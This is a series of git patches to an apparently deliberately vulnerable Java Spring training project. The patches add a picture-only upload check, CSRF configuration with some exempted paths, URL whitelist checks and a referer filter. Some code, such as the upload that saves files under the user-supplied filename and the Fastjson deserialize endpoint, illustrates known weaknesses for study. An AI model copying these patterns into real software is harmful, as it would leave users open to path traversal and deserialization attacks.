Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 23 Apr 2019 18:47:54 +0800 Subject: [PATCH 017/108] add upload file only picture --- java-sec-code.iml | 3 +- pom.xml | 7 ++ .../org/joychou/controller/FileUpload.java | 93 ++++++++++++++++++- src/main/java/org/joychou/utils/Security.java | 27 +++++- src/main/resources/templates/uploadPic.html | 13 +++ 5 files changed, 136 insertions(+), 7 deletions(-) create mode 100644 src/main/resources/templates/uploadPic.html diff --git a/java-sec-code.iml b/java-sec-code.iml index 44e9b58d..2cf50e4e 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -12,7 +12,7 @@ - + @@ -164,5 +164,6 @@ + \ No newline at end of file diff --git a/pom.xml b/pom.xml index f7532932..b2aa7838 100644 --- a/pom.xml +++ b/pom.xml @@ -129,6 +129,13 @@ 1.4.0.RELEASE + + + com.fasterxml.uuid + java-uuid-generator + 3.1.4 + + diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 947b9496..133ddb73 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import com.fasterxml.uuid.Generators; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -8,10 +9,16 @@ import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; +import java.io.File; +import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; +import java.util.UUID; + +import static org.joychou.utils.Security.isImage; + /** * @author: JoyChou (joychou@joychou.org) @@ -31,6 +38,11 @@ public String index() { return "upload"; // return upload.html page } + @GetMapping("/pic") + public String uploadPic() { + return "uploadPic"; // return uploadPic.html page + } + @PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) { @@ -52,15 +64,94 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); e.printStackTrace(); - return "uploadStatus"; + return "redirect:/file/status"; } return "redirect:/file/status"; } + // only upload picture + @PostMapping("/upload/picture") + public String uploadPicture(@RequestParam("file") MultipartFile multifile, + RedirectAttributes redirectAttributes) throws Exception{ + if (multifile.isEmpty()) { + // 赋值给uploadStatus.html里的动态参数message + redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); + return "redirect:/file/status"; + } + + // get suffix + String fileName = multifile.getOriginalFilename(); + String Suffix = fileName.substring(fileName.lastIndexOf(".")); + + File excelFile = convert(multifile); + + // security check + String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; + Boolean suffixFlag = false; + for (String white_suffix : picSuffixList) { + if (Suffix.toLowerCase().equals(white_suffix)) { + suffixFlag = true; + break; + } + } + if ( !suffixFlag || !isImage(excelFile) ) { + redirectAttributes.addFlashAttribute("message", "illeagl picture"); + deleteFile(excelFile); + return "redirect:/file/status"; + } + + + try { + // Get the file and save it somewhere + byte[] bytes = multifile.getBytes(); + Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); + Files.write(path, bytes); + + redirectAttributes.addFlashAttribute("message", + "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'"); + + } catch (IOException e) { + redirectAttributes.addFlashAttribute("message", "upload failed"); + e.printStackTrace(); + deleteFile(excelFile); + return "redirect:/file/status"; + } + + deleteFile(excelFile); + return "redirect:/file/status"; + } + @GetMapping("/status") public String uploadStatus() { return "uploadStatus"; } + private void deleteFile(File... files) { + for (File file : files) { + if (file.exists()) { + file.delete(); + } + } + } + + /** + * @desc 不建议使用transferTo，因为原始的MultipartFile会被覆盖 + * @url https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + * @param multiFile + * @return + * @throws Exception + */ + private File convert(MultipartFile multiFile) throws Exception { + String fileName = multiFile.getOriginalFilename(); + String suffix = fileName.substring(fileName.lastIndexOf(".")); + UUID uuid = Generators.timeBasedGenerator().generate(); + + File convFile = new File(UPLOADED_FOLDER + uuid + suffix); + convFile.createNewFile(); + FileOutputStream fos = new FileOutputStream(convFile); + fos.write(multiFile.getBytes()); + fos.close(); + return convFile; + } } diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java index 4ccd78c0..d283d34c 100644 --- a/src/main/java/org/joychou/utils/Security.java +++ b/src/main/java/org/joychou/utils/Security.java @@ -2,6 +2,10 @@ import com.google.common.net.InternetDomainName; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.IOException; import java.net.URI; import java.net.URL; @@ -10,8 +14,8 @@ public class Security { * @param url * @return 安全url返回true，危险url返回false */ - public static Boolean checkSafeUrl(String url, String[] urlwhitelist){ - try{ + public static Boolean checkSafeUrl(String url, String[] urlwhitelist) { + try { URL u = new URL(url); URI uri = new URI(url); // 判断是否是http(s)协议 @@ -25,7 +29,7 @@ public static Boolean checkSafeUrl(String url, String[] urlwhitelist){ // 如果非顶级域名后缀会报错 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - for (String whiteurl: urlwhitelist){ + for (String whiteurl : urlwhitelist) { if (rootDomain.equals(whiteurl)) { return true; } @@ -33,10 +37,23 @@ public static Boolean checkSafeUrl(String url, String[] urlwhitelist){ System.out.println("Url is not safe."); return false; - }catch (Exception e) { + } catch (Exception e) { System.out.println(e.toString()); e.printStackTrace(); return false; } } -} + + + /** + * @param file + * @desc 判断文件内容是否是图片 + */ + public static boolean isImage(File file) throws IOException { + BufferedImage bi = ImageIO.read(file); + if (bi == null) { + return false; + } + return true; + } +} \ No newline at end of file diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html new file mode 100644 index 00000000..ce056aa7 --- /dev/null +++ b/src/main/resources/templates/uploadPic.html @@ -0,0 +1,13 @@ + + + + +

file upload only picture

+ +
+

+ +
+ + + From 590891b895f256732de2b5fedbee91ad3164fd56 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 31 May 2019 11:46:09 +0800 Subject: [PATCH 018/108] add csrf --- README.md | 2 ++ java-sec-code.iml | 18 ++++++----- pom.xml | 19 ++++++++++++ src/main/java/org/joychou/Application.java | 2 +- .../java/org/joychou/WebSecurityConfig.java | 20 ++++++++++++ .../java/org/joychou/controller/CSRF.java | 31 +++++++++++++++++++ .../java/org/joychou/controller/Test.java | 25 +++++++++++++++ src/main/resources/templates/csrfTest.html | 27 ++++++++++++++++ 8 files changed, 136 insertions(+), 8 deletions(-) create mode 100644 src/main/java/org/joychou/WebSecurityConfig.java create mode 100644 src/main/java/org/joychou/controller/CSRF.java create mode 100644 src/main/java/org/joychou/controller/Test.java create mode 100644 src/main/resources/templates/csrfTest.html diff --git a/README.md b/README.md index e32e9b2e..1e8d2130 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CSRF.java) ## 漏洞说明 @@ -36,6 +37,7 @@ - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/java-sec-code.iml b/java-sec-code.iml index 2cf50e4e..121c97a1 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -12,7 +12,7 @@ - + @@ -41,7 +41,6 @@ - @@ -55,11 +54,7 @@ - - - - @@ -125,7 +120,6 @@ - @@ -165,5 +159,15 @@ + + + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index b2aa7838..ea72cdf6 100644 --- a/pom.xml +++ b/pom.xml @@ -136,6 +136,25 @@ 3.1.4 + + + org.springframework.security + spring-security-web + 4.2.12.RELEASE + + + + org.springframework.security + spring-security-config + 4.2.12.RELEASE + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 3b05f723..8749342a 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -8,7 +8,7 @@ @SpringBootApplication -@EnableEurekaClient +// @EnableEurekaClient // 测试Eureka请打开注释，防止控制台一直有warning public class Application extends SpringBootServletInitializer { @Override diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/WebSecurityConfig.java new file mode 100644 index 00000000..76addad7 --- /dev/null +++ b/src/main/java/org/joychou/WebSecurityConfig.java @@ -0,0 +1,20 @@ +package org.joychou; + +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; + +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + @Override + protected void configure(HttpSecurity http) throws Exception { + // http.csrf().disable() // 去掉csrf校验 + // 默认token存在session里，现在改为token存在cookie里。但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。 + http.csrf().csrfTokenRepository(new CookieCsrfTokenRepository()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java new file mode 100644 index 00000000..ebef75c8 --- /dev/null +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * @author: JoyChou (joychou@joychou.org) + * @date: 2019.05.31 + * @desc: check csrf using spring-security + * @using: access http://localhost:8080/csrf/ -> click submit + */ + + +@Controller +@RequestMapping("/csrf") +public class CSRF { + + @GetMapping("/") + public String index() { + return "csrfTest"; + } + + @PostMapping("/post") + @ResponseBody + public String post() { + return "CSRF passed."; + } +} diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java new file mode 100644 index 00000000..b7374f1d --- /dev/null +++ b/src/main/java/org/joychou/controller/Test.java @@ -0,0 +1,25 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + +@Controller +@RequestMapping("/test") +public class Test { + + @RequestMapping(value = "/") + @ResponseBody + private String Index(HttpServletResponse response) { + + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + return "success"; + } + +} diff --git a/src/main/resources/templates/csrfTest.html b/src/main/resources/templates/csrfTest.html new file mode 100644 index 00000000..b2916c8d --- /dev/null +++ b/src/main/resources/templates/csrfTest.html @@ -0,0 +1,27 @@ + + + + + + +
+
+ + +
+
+ + + + + + + + + + + + + + + \ No newline at end of file From dd3792de9186f689b848eb0974aa7f8ce7c7965b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 31 May 2019 11:48:33 +0800 Subject: [PATCH 019/108] update readme --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 1e8d2130..9f3ab76c 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,6 @@ - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) -- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) From 72a54fa5dfe5d91a13090d18b9c25114ea0e4f9a Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 31 May 2019 14:15:02 +0800 Subject: [PATCH 020/108] add csrf whitelist uri and req method --- .../java/org/joychou/WebSecurityConfig.java | 27 +++++++++++++++++-- .../java/org/joychou/controller/Fastjson.java | 2 +- 2 files changed, 26 insertions(+), 3 deletions(-) diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/WebSecurityConfig.java index 76addad7..41461d0c 100644 --- a/src/main/java/org/joychou/WebSecurityConfig.java +++ b/src/main/java/org/joychou/WebSecurityConfig.java @@ -5,16 +5,39 @@ import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.util.matcher.RequestMatcher; + +import javax.servlet.http.HttpServletRequest; +import java.util.regex.Pattern; @EnableWebSecurity @Configuration public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + RequestMatcher csrfRequestMatcher = new RequestMatcher() { + + // 配置不需要CSRF校验的请求方式 + private Pattern allowedMethods = + Pattern.compile("^(GET|HEAD|TRACE|OPTIONS)$"); + + @Override + public boolean matches(HttpServletRequest request) { + // CSRF disabled on allowedMethod + // false表示不校验csrf + return !(allowedMethods.matcher(request.getMethod()).matches()); + } + + }; + @Override protected void configure(HttpSecurity http) throws Exception { // http.csrf().disable() // 去掉csrf校验 - // 默认token存在session里，现在改为token存在cookie里。但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。 - http.csrf().csrfTokenRepository(new CookieCsrfTokenRepository()); + // 默认token存在session里，用CookieCsrfTokenRepository改为token存在cookie里。 + // 但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。 + http.csrf() + .requireCsrfProtectionMatcher(csrfRequestMatcher) + .ignoringAntMatchers("/xxe/**", "/fastjon/**") // 不进行csrf校验的uri，多个uri使用逗号分隔 + .csrfTokenRepository(new CookieCsrfTokenRepository()); // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 8359a1bc..6609ad54 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -14,7 +14,7 @@ @RequestMapping("/fastjson") public class Fastjson { - @RequestMapping(value = "deserialize", method = {RequestMethod.POST }) + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST }) @ResponseBody public static String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式，post数据会被url编码 From 2e542b64e465f4284d873561a6f8ddc578765d24 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 31 May 2019 14:17:47 +0800 Subject: [PATCH 021/108] update readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9f3ab76c..13af7e81 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) -- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CSRF.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) ## 漏洞说明 From 4a021750c4e38113c0048728cc9da74c3f869b43 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 31 May 2019 16:18:29 +0800 Subject: [PATCH 022/108] update csrf allowedMethods code --- src/main/java/org/joychou/WebSecurityConfig.java | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/WebSecurityConfig.java index 41461d0c..c6724dd8 100644 --- a/src/main/java/org/joychou/WebSecurityConfig.java +++ b/src/main/java/org/joychou/WebSecurityConfig.java @@ -8,7 +8,8 @@ import org.springframework.security.web.util.matcher.RequestMatcher; import javax.servlet.http.HttpServletRequest; -import java.util.regex.Pattern; +import java.util.Arrays; +import java.util.HashSet; @EnableWebSecurity @Configuration @@ -17,14 +18,13 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { RequestMatcher csrfRequestMatcher = new RequestMatcher() { // 配置不需要CSRF校验的请求方式 - private Pattern allowedMethods = - Pattern.compile("^(GET|HEAD|TRACE|OPTIONS)$"); + private final HashSet allowedMethods = new HashSet( + Arrays.asList("GET", "HEAD", "TRACE", "OPTIONS")); @Override public boolean matches(HttpServletRequest request) { - // CSRF disabled on allowedMethod - // false表示不校验csrf - return !(allowedMethods.matcher(request.getMethod()).matches()); + // return false表示不校验csrf + return !this.allowedMethods.contains(request.getMethod()); } }; From 9bed870ed3641023eadd30bd8627f537beebcb9e Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 5 Jun 2019 13:42:33 +0800 Subject: [PATCH 023/108] csrf in upload file html --- src/main/resources/templates/upload.html | 2 +- src/main/resources/templates/uploadPic.html | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html index 10898e0b..03ecf15f 100755 --- a/src/main/resources/templates/upload.html +++ b/src/main/resources/templates/upload.html @@ -4,7 +4,7 @@

file upload

-
+

diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html index ce056aa7..66a6f64d 100644 --- a/src/main/resources/templates/uploadPic.html +++ b/src/main/resources/templates/uploadPic.html @@ -4,7 +4,7 @@

file upload only picture

-
+

From 86d2551b2e4578f9d603901c424f4b4d1a689675 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 10 Jun 2019 20:17:37 +0800 Subject: [PATCH 024/108] diy csrf error code --- .../org/joychou/CsrfAccessDeniedHandler.java | 26 +++++++ .../java/org/joychou/WebSecurityConfig.java | 2 +- .../org/joychou/controller/URLWhiteList.java | 72 ++++++++++++++++++- 3 files changed, 97 insertions(+), 3 deletions(-) create mode 100644 src/main/java/org/joychou/CsrfAccessDeniedHandler.java diff --git a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java new file mode 100644 index 00000000..4f3e3c3f --- /dev/null +++ b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java @@ -0,0 +1,26 @@ +package org.joychou; + + +import org.springframework.http.MediaType; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.security.web.access.AccessDeniedHandler; + + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +public class CsrfAccessDeniedHandler implements AccessDeniedHandler { + + + @Override + public void handle(HttpServletRequest request, HttpServletResponse response, + AccessDeniedException accessDeniedException) throws IOException, ServletException { + response.setContentType(MediaType.TEXT_HTML_VALUE); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("CSRF check failed by JoyChou."); + } + +} + diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/WebSecurityConfig.java index c6724dd8..cb177a28 100644 --- a/src/main/java/org/joychou/WebSecurityConfig.java +++ b/src/main/java/org/joychou/WebSecurityConfig.java @@ -6,7 +6,6 @@ import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; import org.springframework.security.web.util.matcher.RequestMatcher; - import javax.servlet.http.HttpServletRequest; import java.util.Arrays; import java.util.HashSet; @@ -38,6 +37,7 @@ protected void configure(HttpSecurity http) throws Exception { .requireCsrfProtectionMatcher(csrfRequestMatcher) .ignoringAntMatchers("/xxe/**", "/fastjon/**") // 不进行csrf校验的uri，多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); + http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index fb67e013..f3b75693 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -115,8 +115,7 @@ public String urlVul(HttpServletRequest request) throws Exception{ } } - - // 安全代码 + // 利用InternetDomainName库获取一级域名的安全代码 (一级域名白名单) @RequestMapping("/seccode") @ResponseBody public String seccode(HttpServletRequest request) throws Exception{ @@ -141,4 +140,73 @@ public String seccode(HttpServletRequest request) throws Exception{ return "URL is illegal"; } } + + /** + * @desc 自定义一级域名白名单 + * @usage http://localhost:8080/url/seccode1?url=http://aa.taobao.com + * @param request + * @return + * @throws Exception + */ + @RequestMapping("/seccode1") + @ResponseBody + public String seccode1(HttpServletRequest request) throws Exception{ + + // 定义一级域名白名单list，用endsWith加上.判断 + String whiteDomainlists[] = {"taobao.com", "tmall.com"}; + + String url = request.getParameter("url"); + System.out.println("url: " + url); + URI uri = new URI(url); + URL u = new URL(url); + // 判断是否是http(s)协议 + if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { + return "URL is not http or https"; + } + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + System.out.println("host: " + host); + + for (String domain: whiteDomainlists){ + if (host.endsWith("." + domain)) { + return "good url"; + } + } + + return "bad url"; + } + + /** + * @desc 自定义多级域名白名单 + * @usage http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com + * @param request + * @return + * @throws Exception + */ + @RequestMapping("/seccode2") + @ResponseBody + public String seccode2(HttpServletRequest request) throws Exception{ + + // 定义多级域名白名单，判断使用equals + String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; + + String url = request.getParameter("url"); + System.out.println("url: " + url); + URI uri = new URI(url); + URL u = new URL(url); + // 判断是否是http(s)协议 + if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { + return "URL is not http or https"; + } + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + System.out.println("host: " + host); + + for (String domain: whiteDomainlists){ + if (host.equals(domain)) { + return "good url"; + } + } + return "bad url"; + } } From f0cb9a42c1c6ca6b4bf711c22cf10d1aa38037c5 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 19 Jun 2019 00:18:58 +0800 Subject: [PATCH 025/108] add filter to check referer --- README.md | 1 + src/main/java/org/joychou/Application.java | 2 + .../org/joychou/CsrfAccessDeniedHandler.java | 10 +- .../java/org/joychou/WebSecurityConfig.java | 1 + .../java/org/joychou/controller/CORS.java | 5 +- .../org/joychou/controller/FileUpload.java | 16 +- .../java/org/joychou/controller/JSONP.java | 15 +- .../org/joychou/controller/URLWhiteList.java | 169 +++++++++++------- .../org/joychou/security/SecurityUtil.java | 39 ++++ .../java/org/joychou/security/secFilter.java | 54 ++++++ src/main/java/org/joychou/utils/Security.java | 59 ------ 11 files changed, 227 insertions(+), 144 deletions(-) create mode 100644 src/main/java/org/joychou/security/SecurityUtil.java create mode 100644 src/main/java/org/joychou/security/secFilter.java delete mode 100644 src/main/java/org/joychou/utils/Security.java diff --git a/README.md b/README.md index 13af7e81..c2fe8aca 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,7 @@ - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 8749342a..85d0aab8 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -3,10 +3,12 @@ import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; import org.springframework.cloud.netflix.eureka.EnableEurekaClient; +@ServletComponentScan @SpringBootApplication // @EnableEurekaClient // 测试Eureka请打开注释，防止控制台一直有warning public class Application extends SpringBootServletInitializer { diff --git a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java index 4f3e3c3f..27d72d95 100644 --- a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java @@ -13,13 +13,15 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { - + /** + * @desc 返回自定义拦截页面 + */ @Override public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException { - response.setContentType(MediaType.TEXT_HTML_VALUE); - response.setStatus(HttpServletResponse.SC_FORBIDDEN); - response.getWriter().write("CSRF check failed by JoyChou."); + response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html + response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden + response.getWriter().write("CSRF check failed by JoyChou."); // response } } diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/WebSecurityConfig.java index cb177a28..5254547e 100644 --- a/src/main/java/org/joychou/WebSecurityConfig.java +++ b/src/main/java/org/joychou/WebSecurityConfig.java @@ -37,6 +37,7 @@ protected void configure(HttpSecurity http) throws Exception { .requireCsrfProtectionMatcher(csrfRequestMatcher) .ignoringAntMatchers("/xxe/**", "/fastjon/**") // 不进行csrf校验的uri，多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); + // 自定义csrf校验失败的代码，默认是返回403错误页面 http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 2974b64a..bb6ec779 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -1,6 +1,6 @@ package org.joychou.controller; -import org.joychou.utils.Security; +import org.joychou.security.SecurityUtil; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; @@ -52,11 +52,10 @@ private static String vuls3(HttpServletResponse response) { @ResponseBody private static String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); - Security sec = new Security(); // 如果origin不为空并且origin不在白名单内，认定为不安全。 // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && !sec.checkSafeUrl(origin, urlwhitelist) ) { + if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 133ddb73..f2afa10a 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -9,6 +9,8 @@ import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; @@ -17,8 +19,6 @@ import java.nio.file.Paths; import java.util.UUID; -import static org.joychou.utils.Security.isImage; - /** * @author: JoyChou (joychou@joychou.org) @@ -154,4 +154,16 @@ private File convert(MultipartFile multiFile) throws Exception { fos.close(); return convFile; } + + /** + * @param file + * @desc 判断文件内容是否是图片 + */ + public static boolean isImage(File file) throws IOException { + BufferedImage bi = ImageIO.read(file); + if (bi == null) { + return false; + } + return true; + } } diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java index b50ea530..971deeee 100644 --- a/src/main/java/org/joychou/controller/JSONP.java +++ b/src/main/java/org/joychou/controller/JSONP.java @@ -1,6 +1,6 @@ package org.joychou.controller; -import org.joychou.utils.Security; +import org.joychou.security.SecurityUtil; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -17,7 +17,7 @@ public class JSONP { protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; + protected static String[] urlwhitelist = {"joychou.com", "joychou.org"}; // http://localhost:8080/jsonp/referer?callback=test @@ -31,19 +31,19 @@ private static String referer(HttpServletRequest request, HttpServletResponse 